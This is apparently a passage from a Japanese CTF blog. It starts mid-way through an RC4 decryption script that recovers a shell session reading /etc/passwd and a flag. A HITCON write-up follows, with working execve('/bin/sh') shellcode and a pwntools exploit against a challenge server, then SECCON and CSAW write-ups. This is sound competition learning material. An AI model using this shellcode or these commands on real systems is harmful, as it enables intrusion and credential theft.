0f\x3f\xb2\xbe\xa4\x92\x40\x19\x3b\x01\xde\xc9\x2f\x5e\x9d\x09\xa1\x6b\x65\x45\xdc\x85\xd7\x5a\xef\x9a\x7f\x9f\x74\x41\x55\xbb\x02\xdb\x4c\x11\x59\xf9\x1c\xb4\x5b\x74\x80\x1d\xe9\x78\xa1\xb6\x7c\xf1\xe4\x21\x89\x9b\x46\xec\x99\x7f\x72\xac\x02\xc6\x2f\x08\x22\xee\x11\x77\xa4\xd2\x5a\x91\x34\x52\xe2\x4c\x46\xa2\x78\xff\x87\xa0\xe3\x73\x91\x17\x18\x7c\xa8\x92\x2b\x60\xc2\x46\xe7\xa0\x4c\xc9\x63\xbb\x2d\xc7\x25\xeb\x96\xf6\xb4\x5f\xe1\x99\xca\xf2\x90\xcb\x4a\x96\x5d\x5b\xd7\x0d\xaf\x46\x5b\xa6\xc0\x02\x30\x2c\x17\x49\x64\x5c\xa3\x1d\xfd\x45\x16\x1d\x3f\x34\x1e\xab\xd2\x71\xb9\x15\x34\x01\xff\xce\xd0\xa1\x76\x97\x10\xa6\x25\x59\x7a\x76\x42\xe5\x19\x24\x52\x61\x0e\x31\x06\x67\xa7\x45\x3a\x34\xff\x36\xea\xa0\xc9\x4a\xde\x4f\x3e\x95\x99\x5f\x6a\xc9\x88\xb2\xa6\xc4\x3e\xd1\xfb\x0e\x9a\x03\xc6\x0e\x0e\x72\x77\x6c\x70\xe2\x35\x74\x5f\x23\x3c\x05\x1b\x28\xf9\xec\x12\xce\x54\x13\x04\xf5\xdb\x22\xea\x0c\xc0\xc0\x91\xe2\x4f\x27\xba\x17\xf8\xa5\x03\x8a\xe1\x6f\x56\xb4\xcb\xda\x08\x6a\x2d\x46\x1a\x1d\x0f\xbf\xe3\xcf\x5d\x92\xc1\x7c\x05\xa8\x78\x0c\x56\x52\x7f\x77\x54\xd6\x4f\xac\x79\xa0\x3d\x56\xe2\xe8\xf3\xd3\x41\x52\xfa\xd2\x0b\xd0\x60\x60\xc0\xde\x7b\x6e\x9c\x0f\xf4\x8d\x4b\x82\x21\xaf\x5b\xa9\x0b\x4f\xdb\x69\xec\xec\x81\x87\x65\x7a\xa2\x0b\xff\x61\x1c\x5e\x98\xca" message11 = "\xaa\x42\x5a\xa7\xd0\x96\xa9\x35" message12 = "\x62\x99\x64\x48\x89\xfd\x62\x15\xa8\x93\x3b\x28\x65\xce\x6c\xa2\xc0\x38\x80\xc9\xae\x45\xa8\x1f\x6e\xb8\xaa\x81\x08\xe6\x13\x57\xe3\x9b\xa8\xdc\x91\x9a\xff\xbb\x9a\x67\x37\x99\x73\x63\x52\x5c\xfd\xcf\x20\x6c\xd6\x88\xe8\x9a\x2f\xbf\x93\xa8\x5f\xc2\x01\x50\xd4\xd4\xf2\xfb\x96\x67\x35\x99\xdc\x6c\x79\xe8\x3c\xf5\x17\xa8\x28\x80\x66\x51\x14\xa8\x5f\xc5\x02\x5e\x98\x47\x57\x62\x85\x7c\xa4\xbf\x40\xfe\x75\x8c\x55\x96\x26\x89\xa1\x60\x12\x94\x5f\x76\x44\x97\x7a\x0a\x90\x28\xff\x41\x07\x08\x94\x3b\x0e\x61\x83\x73\x20\x96\x6f\xe9\x80\x75\x69\x9a\x31\xf4\xf5\x6a\x65\xa6\x5e\x17\x7b\x74\x5a\xf0\xfa\x3d\x3d\x96\xde\x5a\x81\xae\x6b\x97\xde\xd5\x11\x1c\xd0\x41\xbe\xfb\xae\xb7\x46\x63\x72\xa2\x1e\x67\x35\x4d\xf3\xef\x64\x2a\x78\x97\x89\xd3\x71\xc7\x82\xd1\x42\x58\x08\xbe\x40\x63\xe0\xd8\x90\x3e\x86\x59\x25\xf1\x5c\xf9\x13\xdc\x41\x9c\x95\x1a\xb5\x6c\xf8\xf3\xce\xd0\xad\x88\xfb\xac\xfd\x23\xe2\xe6\x26\x51\xa5\xcb\x23\x85\xcd\xfe\x89\x29\xab\x65\x74\xd1\xc6\x31\xf7\x24\x7b\x1f\xbf\x3c\x50\xa0\xd1\xe8\x13\x4a\xd6\x25\x1c\x44\xfd\x99\xad\xf3\xbe\xe6\x29\xb7\xf1\x94\x12\x52\x3a\xc2\x5a\x24\xef\x64\xc4\xe2\xa2\x78\x2b\x4a\x17\xf6\x5f\x54\x76\x81\xed\x57\xe6\x87\x49\xf2\xdf\x3e\x28\x0d\x6c\xae\x06\xed\xae\x4f\xc3\x6d\xee\xea\xee\x86\xa1\x42\x46\x52\x2f\x6b\xb5\x94\x1f\x88\xb7\xbc\x04\xe3\xfe\x83\x30\x22\x43\x9a\x03\x5d\xba\x3e\x32\x49\xa4\xa4\x47\x3d\xee\x2c\x5c\x91\x53\x7c\x9f\x74\x2c\x4e\x39\x8c\xc8\xd9\x09\xcb\x8f\xb3\x22\xf6\xf9\xe8\xff\xd1\x07\x3a\xd7\xee\xf6\x59\x82\xcc\xc2\xbe\xc9\x37\x13\xcb\x39\x37\x56\xea\x4c\xc2\x46\xac\xe3\x89\xe2\xe0\xcc\x25\x7d\x8b\x08\xf6\x11\x2b\x4d\x60\xd5\x2b\x6e\xae\x0d\x14\x8e\x9e\x69\x92\xa6\xfe\xd1\xc1\x8e\xc6\x36\xd6\x35\x44\xc5\x03\x56\xca\xdd\xbd\x4d\xe1\x9a\xee\xbe\x5d\x31\xf5\x26\x26\x29\x30\x0e\x37\xea\x28\xd2\x83\x03\xbb\xa0\x5b\x7f\x36\xd8\x81\x45\x83\x37\x6b\xf8\x55\x8f\x16\xf8\x53\x71\xd3\x8f\xa0\xea\x10\x13\xfd\xf4\x94\x31\x27\x4c\x30\xde\xd9\xbd\x78\x30\xf7\x8b\x84\x16\x66\xbd\x70\x3a\x4c\xd8\xb2\x7d\xb3\x13\xbf\xf8\xed\x4d\xeb\xeb\xea\x9d\x33\xae\xef\x5b\x94\xe9\x0c\xf7\xb3\x84\x87\x37\xf0\x5f\xa6\x65\x1e\x11\xcc\x84\x07\x21\x7a\x5a\x46\x14\x08\x01\xb7\xf2\xdb\x43\xf1\x59\x09\xd2\x4a\x5c\x08\x2d\x40\xaa\x43\x13\x2f\x1f\xf6\x5c\xac\x00\xf4\x78\xbb\xa1\x77\xd7\x78\x57\x6c\x10\x1d\xfc\xd2\x6f\x4e\x15\xcb\xfa\xf5\xee\x60\x2b\xc1\x10\x26\xb8\xed\xd9\xa7\x48\x3a\x4b\xa4\xe5\xcb\xcb\x12\x0c\xd1\x83\x99\xb5\x23\x4f\xd2\xa7\xb6\x1a\x38\x4d\x5c\x88\x01\x7a\x7b\xde\xb2\x95\xcc\xe5\x95\x35\xb7\x5f\xc7\x86\x39\xba\x04\xe5\xf7\xb6\xb3\x19\x5a\x45\x73\x7a\xe1\x70\x3a\x6a\xce\x8d\x8f\xe8\xb5\x0b\x53\xb3\xda\x01\xcd\x20\x3f\x30\xcb\x72\x75\x60\xd2\x90\xac\x3d\x1f\x20\x1e\x6c\xa0\x27\x42\xe1\x6f\xae\x48\x2c\xef\x0a\x0d\x0d\xe2\xe0\xdd\xe1\x47\x9d\x12\xcc\xbe\x4f\xf7\xdc\xb3\xcc\x78\x10\xde\xea\x29\xdf\xff\x00\x7d\xf5\x3f\x7f\xcb\x68\xf1\xaa\x8e\xca\xbb\xb9\xd0\xc8\xf0\x5f\x36\x89\x05\xdd\x4c\x0f\x42\xee\xd4\x30\xd4\xdc\xce\xcf\x09\xb0\x9b\x4d\x31\xec\x1b\xdb\xa8\x82\x3a\x29\x77\x29\xae\x35\x5a\x99\xbc\xad\xbe\x15\x53\x8f\x33\x57\x26\xcb\xf1\xff\xf5\x77\x96\xbf\x0f\x52\xc0\xda\xaf\x8c\x1d\x2d\x4f\x14\x31\xd7\x85\x70\xe7\xba\xf3\x12\xee\x07\x64\xe5\x55\xd8\x73\xa7\xe8\x11\x05\x2c\xc6\xe4\x7e\x75\x0a\x5b\x6a\x62\x6b\xcc\x51\x23\xb2\x65\x74\xf3\xf5\xec\x68\x72\xf3\xbc\x99\xab\x7b\xf5\x37\xc0\x91\xd2\x52\x99\x99\xd8\x4f\x20\x5f\x57\x39\x44\x86\x82\xd6\x8e\x18\xd1\xbb\x7b\x24\x9a\x71\x9f\x18\x02\xca\x91\xf4\xe6\x71\x1c\x16\xe1\x39\x0d\x63\x1f\x32\xbb\x6d\xc8\xe2\x83\x23\x20\x36\x39\x4c\x6b\x8e\x00\x50\x03\x9d\xae\x83\x6b\x0d\xb8\x67\x06\x34\xb2\x0b\xed\xd5\x47\x0e\x7c\xd0\xee\xa3\x17\xbf\xfb\x4d\x23\x04\x15\x4c\x54\xfa\xd6\x18\x0e\x50\x61\xb2\x89\xee\x07\x41\xdd\x79\x3b\x2f\xa5\xfa\xae\x56\x39\x54\xf2\xe9\xcd\x8d\xa7\x7e\x19\x1b\x05\x20\xb2\x45\xd8\x04\x33\xaa\xb7\x76\x25\x2d\x4b\xaf\x70\x3a\x70\xf1\x08\xbf\x5d\xc9\xa9\xaa\xf1\xfc\x16\x54\x10\x70\x2e\x58\x97\xb3\x39\x9a\x6d\x94\x43\xd9\xab\x03\x19\x42\x56\xf2\x31\x37\x7d\xa6\x56\x4e\xcc\x03\x79\x9b\xb3\xfb\xa7\xe6\xca\xe8\x50\xa9\x72\xfe\x51\x08\x9b\xcb\x3a\x6a\x33\x2a\xae\xba\xfa\xcf\x20\x0c\xd3\x35\x94\xaa\x63\x96\x8e\x73\x78\x4d\x61\xd6\x7d\x9f\x55\x22\x27\x7b\x88\x7c\xe5\x51\xe4\x17\x8f\xcb\x36\x4b\x70\xd9\x23\x7c\xf2\xfc\x97\x19\xed\xdc\xc2\xce\xd5\xb2\x42\x61\x4d\xb4\x5a\x3d\x94\x71\x2f\x3b\x64\xd2\x66\x79\x1e\x6e\x9d\xe4\xe9\x7d\x69\x70\x48\x56\x04\xba\x35\x81\x05\x3a\xc0\x04\x24\x48\x9a\x44\xd5\x14\xd3\xdf\x06\x48\xe0\xbb\xb5\xb7\x77\xf5\xbf\x33\xc5\x01\x8e\xeb\x66\x60\x24\xd1\x7c\xe7\xec\x48\xe3\x63\xcf\x8b\xab\x6c\x93\xa2\x88\xa0\x47\x50\xf4\xcf\xd2\x12\xb0\x6e\x20\x22\xcc\x86\xd6\xbc\x0c\xe2\x4a\x99\xb8\x48\xd1\x1c\xf9\x4a\x7d\x0f\x7d\x82\x45\x0a\x41\xff\xc7\x21" message13 = "\xac\x3b\x5b\xa0\xa1\xc4\x71\x55\x6d\x55\xa0\x0d" message14 = "\xa7\x05\xd3\x10\xcf\x6d\x3e\x7f\xcb\x42\xa9\x6e\xb7\xd8\x60\x37\xfb\x4a\xa1\x14\x83\x19\xe1\x8f\x17\x5a\x61\xfb\x0b\x98\x35\xb7\x66\x2c\xa7\xde\x3b\x5c\x69\x89\x01\xb9\x48\xde\xab\x75\x1e\x38\x99\x5e\x76\xd8\xee\x1d\x85\x22\x63\x9a\x2b\xa2\xd7\x6b\x89\x30\x04\x1a\x54\x96\x90\xc1\x8e\x9a\xa5\x87\x4a\x53\xdc\x83\x34\x58\x03\xde\x8b\x15\xb7\x2e\x96\x35\x26\xa5\x59\xcd\x27\xbc\x52\x47\xa0\x1b\xe3\x30\x77\xa1\x4c\x8f\x69\x01\x65\x49\xb0\x5e\x5c\xa1\x2e\x6a\xd4\xd5\x14\x8b\xe4\xbd\x3e\x2a\x92\x19\x47\x07\x4d\x59\x63\x37\x65\xcb\x75\x9c\x73\xd0\xf1\xa6\xae\xaf\x7a\xf1\xbc\x7c\x33" message15 = "\x66\xa0\xc4\xe8\x17\xd6\xb9\x88\x5f\xcd\x50\x8e\x86\x05\x9a\x2b\xce" message16 = "\x35\x17\xb5\xe0\x9d\xce\xfc\x4a\xd5\x0b\x99\xef\x64\x41\x51\x03\xbd\xf6\xc3\x09\xb7\x10\x11\xb0\x07\x76\x32\x03\xdf\x4c\x03\x23\xb7\x83\xb9\x98\x79\xa4\x7d\x3e\x5a\x09\x4b\x55\xb6\xd4\x89\x60\x28\x49\xff\x00\xf8\xf6\xa6\xcc\xbb\x96\xc0\x71\x49\xb5\x5d\xed\x57\x8b\x07\x69\x2a\xd1\x3b\x2e\xa2\x62\x93\x98\x1e\x70\xe0\x55\xe6\x92\x61\x7f\x78\x0b\x4d\x84\xc6\xc2\x2a\x23\x4a\x39\x88\x2b\xf8\x13\x76\x86\x64\x80\x47\x33\x76\x9c\x00\xd9\x98\x0d\x92\x19\x93\x15\x0b\x80\xad\x15\x2e\x6c\x2d\x1b\xd0\xf8\x15\x2f\x6b\xbc\xd2\x99\x4b\xac\xe2\x6e\x32\xd8\x68\x95\x03\x1b\xf5\xf1\xc4\xeb\x18\xc3" message17 = "\x5b\x7c\xae\x1a\x19\x88\x75\x7e\xab\x08\x6f\x1e\xaa\x04\x0e\x0d\xff\x7c\x0e\xef\xd0\x79\x8e" message18 = "\x38\x22\xd8\x99\xe8\x7b\x5e\x3a\x34\x88\xc8\x14\x7d\xc0\xac\x7c\xdb\x6f\x66\x69\xd1\x3e\x48\x69\x68\x62\x19\xb0\x62\xe7\x54\x93\x1f\xa5\xaf\x19\x64\x73\x26\xe2\xc1\x03\x55\xbb\x43\x97\xb6" print "key: %r (%d bits)" % (key, len(key)*8) for i in range(1, 19): exec("RC4(message" + str(i) + ", gen)") if __name__ == "__main__": main()
実行結果
$ python decrypt.py key: '\xb0\xf8p\xfbu\x87\xc0H+\xb7\xf7\xc1\xf79\x1f\x9ef\xde,\xd9%X\xca\x1f\x87\xf2\xdf#/\xed\xc7\xda' (256 bits) id uid=33(www-data) gid=33(www-data) groups=33(www-data) pwd /usr/lib/cgi-bin ls -la total 24 drwxr-xr-x 2 root root 4096 May 26 02:39 . drwxr-xr-x 52 root root 4096 May 26 02:39 .. -rwxrwxr-x 1 root root 13704 Apr 18 01:11 index.cgi echo 'pwned! yay!' pwned! yay! cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false ls -la / total 80 drwxr-xr-x 67 root root 4096 May 26 03:04 . drwxr-xr-x 67 root root 4096 May 26 03:04 .. -rwxr-xr-x 1 root root 0 May 26 03:00 .dockerenv drwxr-xr-x 2 root root 4096 May 26 02:39 bin drwxr-xr-x 2 root root 4096 Apr 12 2016 boot drwxr-xr-x 15 root root 3780 May 26 03:00 dev drwxr-xr-x 116 root root 4096 May 26 03:00 etc drwxr-xr-x 4 root root 4096 May 26 02:39 home drwxr-xr-x 15 root root 4096 May 26 02:39 lib drwxr-xr-x 2 root root 4096 May 2 08:41 lib32 drwxr-xr-x 2 root root 4096 May 2 08:39 lib64 drwxr-xr-x 2 root root 4096 Feb 14 23:28 media drwxr-xr-x 2 root root 4096 Feb 14 23:28 mnt drwxr-xr-x 2 root root 4096 Feb 14 23:28 opt dr-xr-xr-x 174 root root 0 May 26 03:00 proc drwx------ 11 root root 4096 May 26 03:04 root drwxr-xr-x 9 root root 4096 May 26 03:00 run drwxr-xr-x 2 root root 4096 May 26 02:39 sbin drwxrwxr-x 5 1000 1000 4096 May 26 03:04 share drwxr-xr-x 2 root root 4096 Feb 14 23:28 srv dr-xr-xr-x 13 root root 0 May 24 07:44 sys drwxrwxrwt 2 root root 4096 May 26 03:00 tmp drwxr-xr-x 27 root root 4096 May 26 02:39 usr drwxr-xr-x 21 root root 4096 May 26 03:00 var ls -la /home total 12 drwxr-xr-x 4 root root 4096 May 26 02:39 . drwxr-xr-x 67 root root 4096 May 26 03:04 .. drwxr-xr-x 2 root root 4096 May 26 02:39 user ls -la /home/user total 12 drwxr-xr-x 2 root root 4096 May 26 02:39 . drwxr-xr-x 4 root root 4096 May 26 02:39 .. -rw-rw-r-- 1 root root 47 May 26 02:38 flag.txt cat /home/user/flag.txt CBCTF{7RAcKINg_H4ckERs_f00tPrINTs_i5_excItING}
まとめ
どうせ全く解けないだろうと思っていたのですが,解いてみると結構面白く,参加して良かったなと思いました.
Incident Responseに関しては,リアルでこういうのありそうだなって思いました.
最近気づいてしまったのが,Rev問やるのに暗号も少し知っておく必要があるってこと.(これはRev問じゃないけど)
なにかしらのテーブルを作ってそこからゴニョゴニョみたいなRev問をよく見ていて,なんだこれはって思うけどWriteupを見ると,とある暗号化方式が使われているのがわかったりする.
「この暗号化方式を使うと,こういうアセンブリが生成されて,こういう動きをする」とかは知っておくと便利そう.
HITCON CTF 2017 Quals - Easy to say -
開催期間(JST)
11/4 AM11:00 ~ 11/6 AM11:00
結果
・チーム名:wabisabi
・得点:331 pt
・順位:得点したチーム中,145/1078
解いた問題
・Easy to say (Misc 144)
取り組んだが解けなかった問題
・Start (Pwn)
・Re: Easy to say (Misc)
はじめに
HITCONの開始時間がちょうどバイト先のりんご狩りと重なるということがあり,スタートダッシュが切れず.
結局始めたのは19時~から.
最初はpwnのStartからやっていたものの,方針が違うのか全く見当がつかず,miscのEasy to sayに切り替えた.
2日目は起きる時間が16時頃になってしまい,17時頃からEasy to sayを始めた.
そこから10時間くらい,ああじゃないこうじゃないってやってようやく解けたけど,他の問題は解けず...惨敗.
Writeup
Easy to say (Misc)
問題文
Are you good at shellcoding? Warm up! nc 52.69.40.204 8361
解析
$ file easy_to_say-c7dd6cdf484305f7aaac4fa821796871 easy_to_say-c7dd6cdf484305f7aaac4fa821796871: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=ebaecbb5f55329380b6476b55253b4ea59d91891, stripped
64bit,strippedなバイナリが与えられ,限られた条件で動くシェルコードをプログラミングする問題.
限られた条件というのは,各バイトそれぞれが重複していない,かつ24バイト以下というもの.
このプログラムは,適当なシェルコードを入力として与えてあげると,それを実行してくれる.
最初困ったのが,gdbでstartするとコアダンプするっていう問題.
$ gdb easy_to_say-c7dd6cdf484305f7aaac4fa821796871 Reading symbols from easy_to_say-c7dd6cdf484305f7aaac4fa821796871...(no debugging symbols found)...done. gdb-peda$ start No unwaited-for children left. zsh: abort (core dumped) gdb -q easy_to_say-c7dd6cdf484305f7aaac4fa821796871
シンボル情報消されていてもステップ実行はできるはずなのに,よくわからない.
結局,runして適当な入力値を与えるとSEGVを起こすので,そこからstartして,あとはひたすらniとsiで探っていった.
すると,
0x555555554990: xor ebp,ebp
が開始アドレスとわかったので,ここら辺にブレークポイントをしかけて解析していく.
0x555555554ddf: call c38 <stdout@@GLIBC_2.2.5-0x2013e8> # input_check(input_value, 0, 0)
入力値チェック的な関数を呼んでいる箇所.
ここから先のルーチンで,入力値が24バイトより大きい場合は24バイトに削り,入力値がユニークではない場合は Invalid input!
を表示するルーチンへ飛ばす.
0x555555554e2b: call rdx
最終的にここでシェルコードを実行するルーチンへ.
ここから先は,全汎用レジスタを初期化した後,入力されたシェルコードを実行するようになっている.
コーディング
一番問題なのは, /bin/sh
という文字列の /
が重複していること.
よって,最初の /
はとあるバイトに置き換えておいて,後でその1バイトのみをxorして元に戻す方針でいく.
.intel_syntax noprefix .global _start _start: mov rbx, 0x68732f6e696203 xor bl, 0x2c pushq rsi pushq rbx pushq rsp popq rdi mov al, 0x3b syscall
コンパイルして機械語のみを取り出す.ももテクさんの記事が参考になる.
$ gcc -nostdlib shellcode.s $ objdump -M intel -d a.out | grep '^ ' | cut -f2 | perl -pe 's/(\w{2})\s+/\\x\1/g > input.txt
gdbにて run < input.txt
をし,正しく実行されていることを確認できたら,exploit.pyに書いていく.
#!/usr/bin/env python from pwn import * context(os="linux", arch="i386") """ 00000000004000d4 <_start>: 4000d4: 48 bb 03 62 69 6e 2f movabs rbx,0x68732f6e696203 4000db: 73 68 00 4000de: 80 f3 2c xor bl,0x2c 4000e1: 56 push rsi 4000e2: 53 push rbx 4000e3: 54 push rsp 4000e4: 5f pop rdi 4000e5: b0 3b mov al,0x3b 4000e7: 0f 05 syscall """ def main(): conn = remote("52.69.40.204", 8361) payload = "\x48\xbb\x03\x62\x69\x6e\x2f\x73\x68\x00\x80\xf3\x2c\x56\x53\x54\x5f\xb0\x3b\x0f\x05" conn.send(payload) conn.interactive() if __name__ == "__main__": main()
$ python exploit.py [+] Opening connection to 52.69.40.204 on port 8361: Done [*] Switching to interactive mode Give me your code :Run ! $ ls -la total 72 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 root root 0 Nov 1 06:36 .dockerenv drwxr-xr-x 2 root root 4096 Sep 15 08:42 bin drwxr-xr-x 2 root root 4096 Apr 10 2017 boot drwxr-xr-x 5 root root 340 Nov 4 04:40 dev drwxr-xr-x 1 root root 4096 Nov 1 06:36 etc drwxr-xr-x 1 root root 4096 Nov 1 06:36 home drwxr-xr-x 1 root root 4096 Feb 16 2017 lib drwxr-xr-x 2 root root 4096 Sep 15 08:42 lib64 drwxr-xr-x 2 root root 4096 Sep 15 08:42 media drwxr-xr-x 2 root root 4096 Sep 15 08:42 mnt drwxr-xr-x 2 root root 4096 Sep 15 08:42 opt dr-xr-xr-x 125 root root 0 Nov 4 04:40 proc drwx------ 2 root root 4096 Sep 15 08:42 root drwxrwxr-- 1 root root 4096 Sep 18 23:31 run drwxr-xr-x 1 root root 4096 Sep 18 23:31 sbin drwxr-xr-x 2 root root 4096 Sep 15 08:42 srv dr-xr-xr-x 13 root root 0 Nov 4 06:16 sys drwxr-xr-- 2 easy_to_say easy_to_say 4096 Oct 23 19:14 tmp drwxr-xr-x 1 root root 4096 Sep 15 08:42 usr drwxr-xr-x 1 root root 4096 Sep 15 08:42 var $ cd home $ ls -la total 12 drwxr-xr-x 1 root root 4096 Nov 1 06:36 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 easy_to_say $ cd easy_to_say $ ls -la total 28 drwxr-xr-x 2 easy_to_say easy_to_say 4096 Nov 1 06:35 . drwxr-xr-x 1 root root 4096 Nov 1 06:36 .. -rwxr-xr-x 1 easy_to_say easy_to_say 10232 Nov 1 06:35 easy_to_say -rw-r--r-- 1 easy_to_say easy_to_say 43 Nov 1 06:35 flag -rwxr--r-- 1 easy_to_say easy_to_say 72 Nov 1 06:35 run.sh $ cat flag hitcon{sh3llc0d1n9_1s_4_b4by_ch4ll3n93_4u}
プロはすぐbabyっていう.
取り組んだが解けなかった問題
Start (Pwn)
問題文
Have you tried pwntools-ruby? nc 54.65.72.116 31337
server.rbがリモートで動いていて,与えられたrubyのコードをevalしてくれる.
また,同一ホスト内の31338ポートではstartというバイナリが動いていて,これは入力値をそのまま表示するだけ(?).10秒間でタイムアウトする.
server.rbに,Dirとかいろいろいい感じに使って,ローカルのファイルを読み出せたりはしたんだけど,フラグがどこにも見当たらない.
そもそも,それだとstartが別ポートで動いている必要がないし,やっぱりstartの脆弱性を何らかの方法で突くのかなと思い,やってみるも,どういう脆弱性が存在しているのかさっぱりわからず.
Re: Easy to say (Misc)
問題文
I think you can do better! nc 13.112.180.65 8361
Easy to sayのバイト数制限が8バイトverっていう激辛シェルコーディング問題.
無理だった.
まとめ
こうしてwriteupを書いていると解法は自明に思えてくるけど,解いている時は以外と思いつかず,REXプレフィックスに悩まされたり,xor ebx, ebx
と xor bx, bx
では挙動が違うことに悩まされたり.( xor bx, bx
だとRBXの下位2バイトだけいい感じに変化してくれるのに, xor ebx, ebx
だと,その結果が丸々RBXとなってしまう.同様に xor bl, bl
では下位1バイトだけ変更できる)
Rev問が1つも解けてないのが痛すぎる.
そろそろ,そこそこ難しい問題も解けるようになる必要がありそう.
SECCON Beginners 2017 仙台 に参加した感想&Writeup(decodeme)
はじめに
誘おうとした友人はフィリピンに連れていかれるらしく,ぼっち参戦してきました.参加理由としては,ずっと行ってみたかったっていうのと,Webわからんっていうのと,SECCONステッカーが欲しかったって感じです.
以下,感想とCTF中に解けなかったバイナリ300のdecodemeのWriteupです.decodemeを帰りの電車の中でやってたら10分でフラグが出てきて,なんでこれ解けなかったんだってなりました.どうも時間が限られてるとプレッシャー的なものが働いて,脳死状態になるっぽくてダメっぽいです.
参加しての感想など
まずはオリエンテーション,そしてWebとForensicsとReversingの講義,その後にれっくすさんの話を聞いて,あとはみんなでワイワイCTFをしてました.
参加人数は60人ほどだったのですが,1位から5位まではステッカーが貰えるということで頑張りました.
CTFではReversingとかを普段やっていることもあって,1位を取ることができました.
スコアボードは見ないように解いていたのですが,運営の方々の声とかで自分が結構上位にいるなとわかりました,そして気づいたら1位になっててビビりました.
自分はバイナリから解いていたのですが,バイナリを解く人が少ないので自分がバイナリをある程度解き終わった後は,ForensicsとWebの問題でそれぞれ解いた人数などが一目瞭然で,どれが簡単そうで難しそうかなどもわかって進めやすかったので,バイナリから解くバイナリアン戦法はオススメです.
decodeme(Writeup)
誰も解いてなかった問題です.
確かCTF中は,xorとかいろんな事やっていて解くのに時間かかりそうだなぁと思ったのですぐにForensicsに切り替えて,その後Webっていう順番で進めてました.
結果,本番中には解けなかったのですが,帰りの電車で見てみたところ,ただxorしてるだけやんけってなって解くことができました.
作問側への配慮で,少しぼかしたことを書きます.
問題としては入力値をある文字数受け取ってからその文字数分のループに入り,各文字とカウンタ変数とのxorを取って,それが"N1v\\F`anfgoy"と等しければctf4b{%s}の中に入れてその文字列を出力するようになっています.
よって,"N1v\\F`anfgoy"という文字列に対してある文字数分ループしてカウンタ変数とのxorを取ってやれば元に戻ります.
flagを一部隠しますが,以下のようなflagになるはずです.
ctf4b{N0t_XXXXXXXr}
まとめ
どの講義も初心者にわかりやすく,とても良質な講義だったと思います.
3つの講義以外にもとても良いことを仰っていて,佳山さんとれっくすさんの話が印象に残っています.
佳山さんの倫理の話では,我々が技術を悪用しないのは法律に関係なく,自分たちの仕事に誇りを持っているからみたいなことを,れっくすさんの話では,CTFは最近難化しているが,知的好奇心が強い人は必ず強くなれる,みたいなことを仰っていました.
あとは,Reversingの講義において,少ない講義時間でなにを教えようとしているか,どのようなことを覚えてもらいたいかなどをReversingの講義を担当したちひろさんに聞くことができました.
Reversingは他の2つと違って,覚えるべきことが多いと思うので,少ない講義時間で教えるのは大変だなぁと思いました.
そしてCTFですが,1時間弱というとても少ない時間でやるCTFは初めてだったので,いい経験になりました.
もっといろいろな人にBeginnersに参加して貰いたいなと思ったので,どんどん他の人にも勧めようと思います.
運営の方々,ありがとうございました!
おまけ
戦利品です.(((懇親会のコーラも頂きました)))
CSAW CTF Qualification Round 2017 Writeup
開催期間(JST)
09/16 AM5:00 ~ 09/18 AM5:00
結果
・チーム名:wabisabi
・得点:851 pt
・順位:得点したチーム中,231/1444
解いた問題
・CVV (Misc100)
・tablEZ (Reversing100)
・Best Router (Forensics200)
・realism (Reversing400)
取り組んだが解けなかった問題
・pilot (Pwn75)
・Missed Registration (Forensics150)
・Gopherz (Reversing350)
はじめに
今回はEKOPARTYのほうと被っていて,一応両方登録はしたんですが,結局CSAWだけやってました.
土曜日は@kobadlveと@phustlyと集まって少しやっていて,日曜は家に引きこもってやってました.
去年のCSAWは576ptで252/1274だったので,一応去年より高い順位は取れたっぽい.
Writeup
CVV (Misc100)
ncで繋ぐと,こんな感じでいろいろな種類のクレジットカード番号を求められます.
$ nc misc.chal.csaw.io 8308 I need a new American Express! ^C $ nc misc.chal.csaw.io 8308 I need a new Visa!
クレジットカードのパターンは,'MasterCard','Discover','American','Visa'の4つ.
確か「面白くて眠れなくなる数学」とかいう本を以前読んだ時に,クレジットカード番号はとあるアルゴリズムによって決まっているってことを知って,つまりランダムに数字を入力すればいいというわけではなくて,そのアルゴリズムに沿った数字を入力する必要がありそうだなぁとか思いました.
各クレジットカードについてもカード番号の桁数が違っていたり,それぞれカード番号にルールが決まっていたりするので,そこら辺を気を付けながらスクリプトを書きます.
使われているアルゴリズムの名前はLuhnアルゴリズムというものらしく,どうせ実装してる人いるやろって思ったらWikipediaに載ってたり,いろいろな書き方で実装している人がいたので,それをお借りしました.
Luhnアルゴリズム(やってみた Python2.7) · GitHub
雑にスクリプトを書いて回してみたら,Visaのカード番号を毎回失敗するVisaが苦手なスクリプトが生まれてしまって,どうしようかなと思った結果,以下の任意のクレジットカード番号を生成する神サイトを見つけたので,適当に100個くらい生成して,それを使うようにしました.
あとは,何回か正解すると途中から出題が変わって,ある数字で始まるもの,終わるもの,与えられた番号がvalidかinvalidか返すもの,とかにそれぞれスクリプトを雑に対応させました.
